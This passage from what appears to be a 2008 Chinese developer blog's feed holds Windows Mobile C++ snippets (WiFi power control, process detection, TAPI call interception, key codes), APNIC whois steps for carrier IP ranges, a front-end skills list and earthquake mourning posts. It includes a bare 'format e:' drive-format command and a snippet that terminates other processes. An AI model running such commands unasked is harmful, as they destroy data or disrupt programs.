/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (UStrStrI(tzDisplayName, TEXT(&quot;WiFi&quot;)) || <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrStrI(tzDisplayName, TEXT(&quot;Wi-Fi&quot;)) || <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrStrI(tzDisplayName, TEXT(&quot;Wireless&quot;)) || <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrStr(tzDisplayName, TEXT(&quot;802.11&quot;)))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UStrPrint(m_tzDevice, PMCLASS_NDIS_MINIPORT TEXT(&quot;</span><a href="http://www.openx.cn/file://%25s/"><span style="COLOR: #ff6600">\\%s</span></a><span style="COLOR: #ff6600">&quot;), tzKey);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //MessageBox(NULL, m_tzDevice, STR_AppName, MB_ICONINFORMATION);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; m_tzDevice[0] = 0;<br />&nbsp;&nbsp;&nbsp; }</span></p>
<p><span style="COLOR: #ff6600">&nbsp;&nbsp;&nbsp; BOOL IsEnabled()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CEDEVICE_POWER_STATE s = D4;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (m_tzDevice [0])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetDevicePower(m_tzDevice, POWER_NAME, &amp;s);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return s == D0;<br />&nbsp;&nbsp;&nbsp; }</span></p>
<p><span style="COLOR: #ff6600">&nbsp;&nbsp;&nbsp; HRESULT Enable(BOOL bEnable = TRUE)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (m_tzDevice [0])<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return SetDevicePower(m_tzDevice, POWER_NAME, bEnable ? D0 : D4);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ERROR_DEVICE_NOT_AVAILABLE;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br />};</span></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=468" /> 
	  <id>http://www.openx.cn/default.asp?id=468</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[PPC中检查某程序是否运行 ]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2008-07-28T16:19:31+08:00</updated>
	  <published>2008-07-28T16:19:31+08:00</published>
		  <summary type="html"><![CDATA[第一种:<br />HANDLE hMutex=::CreateMutexW(NULL,true,L&quot;程序名&quot;);<br />&nbsp;DWORD dwError=GetLastError();<br />&nbsp;if(dwError==ERROR_ALREADY_EXISTS)<br />&nbsp;{<br />&nbsp;&nbsp;::AfxMessageBox(L&quot;The program is running!&quot;);<br />&nbsp;&nbsp;return ;<br />&nbsp;}<br />&nbsp;::ReleaseMutex(hMutex);<br /><br />第二种:<br />HWND hWmp=::FindWindowW(L&quot;Dialog&quot;,L&quot;程序窗口名&quot;);<br />&nbsp;if(hWmp)<br />&nbsp;{<br />&nbsp;&nbsp; ::AfxMessageBox(L&quot;The program is running!&quot;);<br />&nbsp;&nbsp;return FALSE;<br />&nbsp;}<br /><br />第三种:<br />PROCESSENTRY32&nbsp;&nbsp; lppe; <br />&nbsp;memset(&amp;lppe,0,sizeof(PROCESSENTRY32));&nbsp;&nbsp; <br />&nbsp;HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);<br />&nbsp;lppe.dwSize=sizeof(PROCESSENTRY32);<br />&nbsp;::Process32First(handle,&amp;lppe);<br />&nbsp;do<br />&nbsp;{<br />&nbsp;&nbsp;HANDLE hh=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,lppe.th32ProcessID);<br />&nbsp;&nbsp;CString temp(lppe.szExeFile);<br />&nbsp;&nbsp;if(temp.Find(L&quot;程序名&quot;)&gt;=0)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;::AfxMessageBox(L&quot;The program is running!&quot;);<br />&nbsp;&nbsp;&nbsp;::TerminateProcess(hh,0xffffffff);<br />&nbsp;&nbsp;&nbsp;::CloseHandle(hh);<br />&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;}<br />&nbsp;&nbsp;::CloseHandle(handle);<br />&nbsp;&nbsp; <br />&nbsp;}while(Process32Next(handle,&amp;lppe));<br />&nbsp;::CloseHandle(handle);<br /><br />以上三种方法,只能检查其它程序,而不能检查自身是否正在运行,因为windows mobile 系统的运行机制和PC机上的windows XP是不太一样的.<br />]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=467" /> 
	  <id>http://www.openx.cn/default.asp?id=467</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[window mobile 5.0截获来电]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2008-07-28T16:18:39+08:00</updated>
	  <published>2008-07-28T16:18:39+08:00</published>
		  <summary type="html"><![CDATA[<p>在开发来电防火墙或来电大头贴时，首先就是要截获来电，然后再加以分析，截获来电的方法一般就是用TAPI提供的api函数，这些函数在tapi.h下．<br />１．初始化线路，并打开线路<br />&nbsp; DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineHandleCount;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HLINE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *lineHandles;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HLINEAPP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineApp;<br /><br />if(lineInitialize(&amp;lineApp,theApp.m_hInstance,(LINECALLBACK)LineCallback,L&quot;Video&quot;,&amp;lineHandleCount)==0)<br />&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp; lineHandles = new HLINE[lineHandleCount];</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(DWORD i = 0; i &lt; lineHandleCount; i++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int rc;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD ver;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LINEEXTENSIONID extensionID;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( lineNegotiateAPIVersion( lineApp, i, 0x00010000, 0x00020000, &amp;ver, &amp;extensionID ) == 0 )<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rc = lineOpen( lineApp,i,&amp;lineHandles[ i ],ver,0,(DWORD)0,LINECALLPRIVILEGE_MONITOR|LINECALLPRIVILEGE_OWNER,LINEMEDIAMODE_INTERACTIVEVOICE,NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;}<br /><br />２.编写回调函数，在这个函数里实现功能<br />VOID CALLBACK LineCallback(DWORD hDevice, DWORD dwMsg, DWORD dwCallbackInstance, DWORD dwParam1, DWORD dwParam2, DWORD dwParam3)<br />{<br />　//dwMsg是线路消息<br />&nbsp;&nbsp; //dwParam1,dwParam2是具体的事件<br />}<br /><br />3.当结束程序时，关闭线路<br />for ( DWORD i=0; i&lt;lineHandleCount; i++ )<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineClose( lineHandles[i]);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete[] lineHandles;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lineShutdown( lineApp );</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=466" /> 
	  <id>http://www.openx.cn/default.asp?id=466</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[遗忘的命令]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-07-02T16:34:05+08:00</updated>
	  <published>2008-07-02T16:34:05+08:00</published>
		  <summary type="html"><![CDATA[转化磁盘格式<br/>format e: /fs:fat32<br/>format e: /fs:ntfs]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=465" /> 
	  <id>http://www.openx.cn/default.asp?id=465</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[获得国内中国电信,网通,铁通的最新ip段的方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-06-19T09:12:10+08:00</updated>
	  <published>2008-06-19T09:12:10+08:00</published>
		  <summary type="html"><![CDATA[<p>APNIC是管理亚太地区IP地址分配的机构，它有着丰富准确的IP地址分配库，同时这些信息也是对外公开的！下面就让我们看看如何在Linux下获得一些电信运营商的IP地址分配情况：<br /><br />wget http://ftp.apnic.net/apnic/dbase/tools/ripe-dbase-client-v3.tar.gz<br /><br />tar xzvf ripe-dbase-client-v3.tar.gz<br />cd whois-3.1<br />./configure<br />make<br />完成上述编译安装工作后，我们开始获取IP地址段；<br /><br />中国网通：<br />./whois3 -h whois.apnic.net -l -i mb MAINT-CNCGROUP &gt; /var/cnc<br /><br />中国电信：<br />./whois3 -h whois.apnic.net -l -i mb MAINT-CHINANET &gt; /var/chinanet<br /><br />中国铁通：<br />./whois3 -h whois.apnic.net -l -i mb MAINT-CN-CRTC &gt; /var/crtc<br /><br />打开获取后的文件可以看到里面的信息非常详细，甚至可以看到各个分公司的负责人、电话、电子邮件等等信息。如果想得到一份整齐干净的IP地址段文件，只要用grep和awk简单过滤就可以了。</p>
<p>过滤提取IP段</p>
<p>中国网通：<br />sed -e '/./{H;$!d;}' -e 'x;/CNCGROUP/!d' /var/cnc | grep 'inetnum' &gt;/var/cnc.txt</p>
<p>中国电信：<br />sed -e '/./{H;$!d;}' -e 'x;/CHINANET/!d' /var/chinanet | grep 'inetnum' &gt;/var/chinanet.txt</p>
<p>中国铁通：<br />sed -e '/./{H;$!d;}' -e 'x;/CN-CRTC/!d' /var/crtc | grep 'inetnum' &gt;/var/crtc.txt</p>
<p>&nbsp;</p>
<div style="FONT-SIZE: 12px"><font face="Arial">
<p><font face="Arial">其中已经包括了<strong>全国电信级网通和铁通IP地址分配段</strong></font></p>
<p><font face="Arial">[广东ip段北京网通ip段,辽宁ip段,网通ip段北京ip段,电信ip段,浙江ip段,湖南ip段,广东电信ip段,浙江电信ip段,中国ip段,山东网通ip段,山东ip段,广州ip段,福建ip段,上海电信ip段,铁通ip段,广西ip段,<br />太原ip段,辽宁网通ip段,北京电信ip段,adsl ip段,广东省ip段,河北ip段,黑龙江网通ip段,上海ip段,山西ip段,四川ip段,江西ip段,<br />河北网通ip段,四川电信ip段,广州电信ip段,广西电信ip段,广东电信adsl的ip段,服务器ip段,地区ip段,中国网通ip段,联通ip段,公网ip段,成都ip段,河南ip段,厦门ip段,<br />大连ip段,贵州ip段,陕西ip段,广州adsl ip段,济南ip段,电信adsl ip段,福州的ip段,河南网通ip段,黑龙江ip段,山东省ip段,四川网通ip段]</font></p>
<p><font face="Arial">我在网上也查了一上，有人提供：（ip段查询器下载,ip段查询软件,ip段扫描器,ip段搜索）不过我觉得不太好因，因为都不是最新的.</font><font face="Arial"><br />国外IP段如[美国ip段,韩国ip段,,日本ip段,最新美国ip段,日本的ip段,]请到http://ftp.apnic.net&nbsp;上查询</font></p>
</font></div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=464" /> 
	  <id>http://www.openx.cn/default.asp?id=464</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Web前端开发工程师必备技术列表[转]]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-05-26T14:45:03+08:00</updated>
	  <published>2008-05-26T14:45:03+08:00</published>
		  <summary type="html"><![CDATA[<p>要打造<strong>一流的Web产品</strong>开发团队，在团队成员基础能力上一定要下功夫。对于Web前端产品开发来说，仅仅掌握Web1.0时代简单的&quot;网页套接&quot;是完全不够的。我结合自己的团队配备，特此罗列了Web前端产品工程师所涉及的技能列表如下：</p>
<p>通过许多实际项目，个人认为一个完备的前端产品开发团队，必须拥有如下的人才配备，也希望大家补充：</p>
<ul>
    <li>团队全体成员达到所有技能中的a级标准 </li>
    <li>团队全体成员必须掌握两项技能中的b级标准，并保证所有的b级标准在该团队中有50%以上成员能达到 </li>
    <li>团队全体成员必须掌握一项技能中的c级标准，并保证所有的c级标准在该团队中有25%以上成员能达到 </li>
</ul>
<p>具体技能描述：</p>
<ul>
    <li><strong>【必备】UserInterface</strong> </li>
    <li style="LIST-STYLE-TYPE: none">
    <ol>
        <li>PhotoShop/Fireworks Design<br />a - 配合美工将草图形成具体的符合WebPage的设计<br />b - 有快速制作分层高品质PSD、PNG的能力<br />c - 能迅速将PSD、PNG的内容构思成div+css或者table等HTML代码 </li>
        <li>Flash Design<br />a - 基本动画效果<br />b - 复杂的交互体系设计，了解第三方swf辅助设计软件<br />c - 复杂的交互体系设计以及较强的对各类外埠资源（PNG、JPG、MP3、WAV等）的整合能力。精通部分第三方辅助设计软件（AE、SwishMax、Swift3D等）<br /></li>
    </ol>
    </li>
    <li><strong>【必备】Browser-side (Web Application)</strong> </li>
    <li style="LIST-STYLE-TYPE: none">
    <ol>
        <li>XHTML/CSS<br />a - 基本的layout实现<br />b - 严格跨平台的layout实现以<br />c - 优雅的HTML code，尽可能符合标准并有SEO的考虑因素。在任何平台、浏览器下基本保持一致。不要求了解各种CSS的hacks，但要求知道遇到问题应该如何查阅资料以在第一时间内解决。能够为JavaScript开发人员提供最好操作的DOM结构，让JS开发人员在开发的时候认为&quot;一切都已经准备就绪了&quot;，而不是&quot;捉襟见肘&quot;。 </li>
        <li>JavaScript/Ajax/DOM<br />a - 基本的DOM操作，了解AJAX，可以实现数据通信<br />b - 基本的DOM操作，能写高效率的OOP代码，以降低维护成本<br />c - 基于需求，进行不同的开发，选择合适的框架，做到代码效率最高，用户体验最好，代码下载量最小，并且可以在单独甚至更多产品线中最大限度重用代码 </li>
        <li>Flash Developement<br />a - 基于Timeline的ActionScript操作，能实现简单交互<br />b - 掌握a外，能实现数据层通信（与服务器以及本地SharedObject）<br />c - 精通AS1-3，能根据需求进行各类RIA开发。无论是要求支持FlashPlayer8的，还是FlashPlayer9的，都能做到开发效率最高、灵活性最大（比如对HTML层的接口设计，等等）。<br /></li>
    </ol>
    </li>
    <li><strong>【必备】Client-side (Desktop Application)</strong>
    <ol>
        <li>Apollo<br />a - 产品级的封装，基本技术了解（如何打包、如何加入HTML和JavaScript等）<br />b - 掌握a的同时，能利用Apollo的API独立设计、开发OS的文件I/O功能。<br />c - 掌握基本技能的同时，对&quot;3D概念体系&quot;有所认知。这里&quot;3D&quot;即：Design（设计）、Development（开发）、Deploy（产品部署）。能用Apollo </li>
        <li>Windows Presentation Foundation、WPF/E（Silverlight）<br />（待定，欢迎补充）<br /></li>
    </ol>
    </li>
    <li><strong>【增补】Server-side</strong> （修改：经考虑，这个技能不参与评级）<br />本来列举了&quot;1、Server端简单的技术、脚本&quot;和&quot;2、MediaServer（Red5）接口&quot;作为&quot;<strong>Web前端工程师技能列表</strong>&quot;的一种（服务器、数据逻辑层技能的）评判标准。但似乎很多朋友对于前端工程师是否应该掌握Server端技能的必要性表示怀疑。确实，要掌握好上述的展现层技能不是意见容易的事情，而且前端工程师的确非常辛苦。但是，站在另一方面来说，辛苦的原因是什么，我不知道在你日夜奋战div+CSS的时候思考过没有。就我的经验，前端的辛苦在于以下几个方面：
    <ol>
        <li><strong>重复劳动多</strong>，大量的div+css都是重复的，即便可以复制粘贴，但几千行的div海洋中去寻找一个入口恐怕都非常痛苦 </li>
        <li><strong>需求变更多</strong>，往往你折腾几个小时终于把跨平台问题解决好了，而且在IE6、7和Firefox下面都能显示同样的效果了，甚至连JavaScript交互都已经快搞定了。突然上面说需求要变。这无疑是莫大的痛苦。 </li>
    </ol>
    <p>也许表面上看，这跟Server端技能无关，但我觉得有好的Server端的意识，一定会有所帮助（当然不可能解决所有的问题）。毕竟信息结构和数据库是密切相关的，而Server是连接数据库的唯一渠道（至少大多数B/S应用是如此）。掌握Server端的基本技能，对于同逻辑层开发人员设计接口是非常重要的。而且HTML表现层在开发时与数据的分离，也与Server端的各种模板技术有关。例如PHP中的Smarty模板（我曾经用的）、jsp的model2概念等等。HTML结构如何设计，如何让HTML重用，甚至在HTML层进行OOP的开发（我现在在新产品线中设计的前端开发流程），都需要Server端的支持。最起码，你要告诉php程序员你需要什么。如果你完全对PHP一无所知的话，那也无从谈起了。<br />此外，对于创业团队，往往人手非常有限。为了让运营成本降到最低，所有的技术人员都有义务对Server端技术有所了解。如果为了修改一个网页的标题还要跑去喊PHP程序员连接Remote Server的话，那实在是增加了整个公司的运营成本。<br />总结：我认为，可以不了解技术细节，但应该知道原理，最好能掌握一两套设计思想（毕竟数据逻辑都在这里走，光看HTML和JavaScript，对人的见识还是有局限的，这种局限限制了我自己很久的时间），那将是一比宝贵的财富。<br /></p>
    </li>
    <li><strong>【增补】Mobile-side</strong>（不参与评级）<br />
    <ol>
        <li style="LIST-STYLE-TYPE: none">看到很多朋友留言说前端工程师没前途，我在想，同时掌握移动设备的技能是否也是拓展前途的一个必要性？这里再多说几句，关于技术人员的前途，目前在国内确实得用&quot;惨淡&quot;来形容。浮躁的氛围让技术人才往往过早放弃了自己的技术生涯，而尔虞我诈的整体道德水平也让单纯的技术人员痛不欲生（我身边太多了，恩，不说具体细节了，呵呵）。<br />作为一个技术人员，开发人员，在<strong>保持纯粹地敬业心态（这是前提，这么没有，啥也别谈）</strong>外，更要学会如何保护自己，如何壮大自身，社会不会同情你，只有你自己才能保护你自己。<br /></li>
        <li>Flashlite<br />（待定，欢迎补充） </li>
        <li>Java？<br />（待定，欢迎补充）</li>
    </ol>
    </li>
</ul>
<p>转自：http://www.awflasher.com/blog/archives/906</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=463" /> 
	  <id>http://www.openx.cn/default.asp?id=463</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[举国之殇,全民同咽]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2008-05-19T09:36:25+08:00</updated>
	  <published>2008-05-19T09:36:25+08:00</published>
		  <summary type="html"><![CDATA[<div align="center"><strong>国 务 院 公 告</strong></div><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;为表达全国各族人民对四川汶川大地震遇难同胞的深切哀悼，国务院决定，2008年5月19日至21日为全国哀悼日。在此期间，全国和各驻外机构下半旗志哀，停止公共娱乐活动，外交部和我国驻外使领馆设立吊唁簿。5月19日14时28分起，全国人民默哀3分钟，届时汽车、火车、舰船鸣笛，防空警报鸣响。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=462" /> 
	  <id>http://www.openx.cn/default.asp?id=462</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一方有难八方支援！向四川人民伸出援手！]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2008-05-14T10:41:40+08:00</updated>
	  <published>2008-05-14T10:41:40+08:00</published>
		  <summary type="html"><![CDATA[<p>[img]http://www.openx.cn/attachments/month_0805/k2008514104731.jpg[/img]</p>
<p>中国红十字基金会：http://www.crcf.org.cn/</p>
<p>在线募捐通道：http://www.crcf.org.cn/donationol/index.htm</p>
<p>估计这几天募捐的人太多了，页面需要多刷几次才能显示。</p>
<p><strong><font color="#ff0000" size="4">一方有难八方支援！向四川人民伸出援手！</font></strong></p>
<p>[img]http://www.openx.cn/attachments/month_0805/d2008514104022.jpg[/img]</p>
<p><font color="#ff0000" size="4"><strong>我已经伸出去了～虽然不多，你呢？一起加入吧！</strong></font></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=461" /> 
	  <id>http://www.openx.cn/default.asp?id=461</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows Mobile 常用键值(VK)对应表 ]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2008-04-28T14:50:05+08:00</updated>
	  <published>2008-04-28T14:50:05+08:00</published>
		  <summary type="html"><![CDATA[<span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TSOFT1&nbsp;&nbsp; VK_F1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Softkey 1</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TSOFT2&nbsp;&nbsp; VK_F2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Softkey 2</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TTALK&nbsp;&nbsp;&nbsp; VK_F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Talk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TEND&nbsp;&nbsp;&nbsp;&nbsp; VK_F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> End&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_THOME&nbsp;&nbsp;&nbsp; VK_LWIN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Home&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TBACK&nbsp;&nbsp;&nbsp; VK_ESCAPE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Back&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TACTION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_RETURN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Action&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> VK_TRECORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VK_F10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="COLOR: #008000">//</span><span style="COLOR: #008000"> Record</span><span style="COLOR: #000000"><br /></span><span style="COLOR: #0000ff">#define</span><span style="COLOR: #000000"> 